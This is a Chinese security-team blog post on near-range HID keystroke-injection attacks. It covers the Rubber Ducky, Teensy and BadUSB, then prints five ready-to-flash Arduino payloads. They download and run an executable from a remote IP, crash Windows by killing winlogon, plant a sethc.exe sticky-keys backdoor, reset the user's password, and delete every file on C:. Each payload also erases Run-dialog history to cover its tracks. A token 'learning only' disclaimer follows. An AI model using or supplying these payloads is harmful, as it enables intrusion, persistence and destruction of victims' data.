近源渗透推荐:HID攻击


1#简介
HID是Human Interface Device的缩写,由其名称可以得知HID设备是直接与人交互的设备(例如键盘、鼠标与游戏杆)。
不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘和鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。
攻击者会把攻击隐藏在一个正常的鼠标/键盘/U盘中,当用户将含有攻击向量的鼠标/键盘/U盘,插入电脑时,恶意代码会被加载并执行。

不要看笔者说的玄乎,其实就是系统里面的这个东西:

2#原理简析
可能有人会问:HID是什么东西?
HID标准的概念之前,设备往往要匹配鼠标和键盘,更新设备时,就需要重载所有协议和设备,极其繁琐。类似于TCP/IP协议一样,在标准化协议发布之前,设备之间的通讯由开发商单方面的协议主导,不同品牌的设备从而因为协议不同,而无法通信。而出现HID标准概念之后,所有被HID所定义的设备驱动程序提供可包含任意数量数据类型和格式的自我描述包。计算机上的单个HID驱动程序就可以解析数据和实现数据I/O与应用程序功能的动态关联。可以说:HID标准的诞生让接口类型,功能更加丰富,多样化,同时也加快了设备的创新与发展。

而恶意开发人员,会尝试用HIDattack(通过插入带有攻击向量的USB设备)等方式,使得恶意代码直接在系统主机上加载执行,攻击操作也就瞬时发生。此类方式属于物理层面攻击。攻击者可以在一个包含HID的芯片中,写入已经编程完毕的恶意代码,诱导用户插入系统主机中,即可自动完成代码的执行,成功拿到相应权限。

3#硬件准备
前面我们了解到,这是一种物理攻击,类似于物联网,那么就自然少不了支持HID的硬件支持
如黑客想发动一次HID攻击的话,在硬件方面有很多种选择


  • USB RUBBER DUCKY(USB橡皮鸭)
USB RUBBER DUCKY简称USB橡皮鸭,是最早的按键注入工具,可根据对应要求定制硬件。自2010年以来,USB橡皮鸭就一直深受黑客、渗透测试人员以及IT专家的欢迎。USB 橡皮鸭最初作为一个IT自动化的POC,通过嵌入式开发板实现的,后来它发展成为一个成熟的商业化按键注入攻击平台。USB橡皮鸭通过简单的脚本语言、强大的硬件以及出色的伪装成功地俘获了黑客的“芳心”。
不管是笔记本、台式机、平板以及智能手机,几乎每个计算机都通过键盘获得输入。这就是为什么会有一个无处不在的USB标准HID(人机接口设备)。任何一个宣称是键盘HID的设备都能够被大多数操作系统自动的探测和接入。不管它是Windows、Mac或Android系统,键盘就是老大。
简单的说,橡皮鸭就是将自己模拟成USB的键盘或者U盘,可以执行键盘能执行的操作,以此来逃过安全软件的一些检查。但是在后面的实验中,我发现如果对装了安全软件的电脑进行一下危险操作的时候,还是会弹出拦截警报,但绝大部分操作是不会触动杀毒软件拦截报警的。

  • Teensy USB
Teensy是拥有芯片且功能完整的单片机开发系统。可模拟键盘和鼠标。经开发的Teensy USB设备可被电脑识别成键盘或鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。价格亲民,开源性强,可和Kali配合使用。
主要特点如下:
AVR处理器,16 MHz
单个按键编程
易于使用的Teensy Loader应用程序
免费软件开发工具
兼容Mac OS X,Linux和Windows
小尺寸,多项目的完美支持

  • BADUSB
BadUSB是2014年黑客大会上由柏林SRLabs的安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示攻击方法。KarstenNohl和Jakob Lell在Github上公布攻击相关代码https://github.com/brandonlw/Psychson
众所周知,U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。

4#攻击代码
具体制作和购买的操作,在百度上面随随便便都可以搜到,我这里就不再阐述了,下面放一些攻击的代码样本
 
PowerShellDownload?(支持Win7/Win8,实现窗口最小化下载运行exe文件,这样都不会有小黑窗,感觉比较安全,通过大写的方式绕过输入法)
void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); 
  Keyboard.press('r');//r键 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.println("CMD /C START /MIN REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&CMD /C START /MIN POWERSHELL $P = nEW-oBJECT sYSTEM.nET.wEBcLIENT;$P.dOWNLOADfILE('HTTP://192.168.1.103/X.EXE', 'c:\\X.EXE');START c:\\X.EXE;EXIT");
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
}

BlueScreen(支持WinXP/Win7,通过大写的方式绕过输入法)
void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); 
  Keyboard.press('r');//r键 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.println("CMD /C START /MIN CMD /C REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&CMD /C START /MIN CMD /C NTSD -C Q -PN WINLOGON.EXE 1>NUL 2>NUL&TASKKILL /F /IM WININIT.EXE 2>NUL");
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
}

后门种植(Win通用,替换Sethc.exe为cmd.exe,通过大写的方式绕过输入法)
void setup() {//初始化
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); 
  Keyboard.press('r');//r键 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.println("CMD /C START /MIN REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&TAKEOWN /F %sYSTEMrOOT%\\SYSTEM32\\SETHC.EXE&ECHO Y|CACLS %sYSTEMrOOT%\\SYSTEM32\\SETHC.EXE /g %username%:f&COPY C:\\WINDOWS\\SYSTEM32\\CMD.EXE C:\\WINDOWS\\SYSTEM32\\SETHC.EXE /y");
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
}

修改当前用户密码(Win通用,修改当前用户密码,通过大写的方式绕过输入法。可惜容易被拦截)
void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); 
  Keyboard.press('r');//r键 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.println("CMD.EXE /C REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&NET USER %USERNAME% HACKED&EXIT");
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
}

删除C盘所有文件(Win通用,删除C盘所有文件,通过大写的方式绕过输入法)
void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); 
  Keyboard.press('r');//r键 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500);
  Keyboard.println("CMD /C START /MIN REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&COPY C:\\WINDOWS\\SYSTEM32\\SHUTDOWN.EXE D:\\SHUTDOWN.EXE /y&DEL /S /F /Q C:\\*&D:\\SHUTDOWN.EXE -R -F -T 0")
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
}

提示(代码仅供学习交流使用,严禁用于非法用途)
5#总结
今天的极客硬件推荐就到这里了,希望你喜欢,谢谢各位的阅读。咋们下期再见!!!
本博客所有文章如无特别注明均为原创。作者:渊龙Sec团队复制或转载请以超链接形式注明转自 渊龙Sec安全团队博客
原文地址《近源渗透推荐:HID攻击
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(0)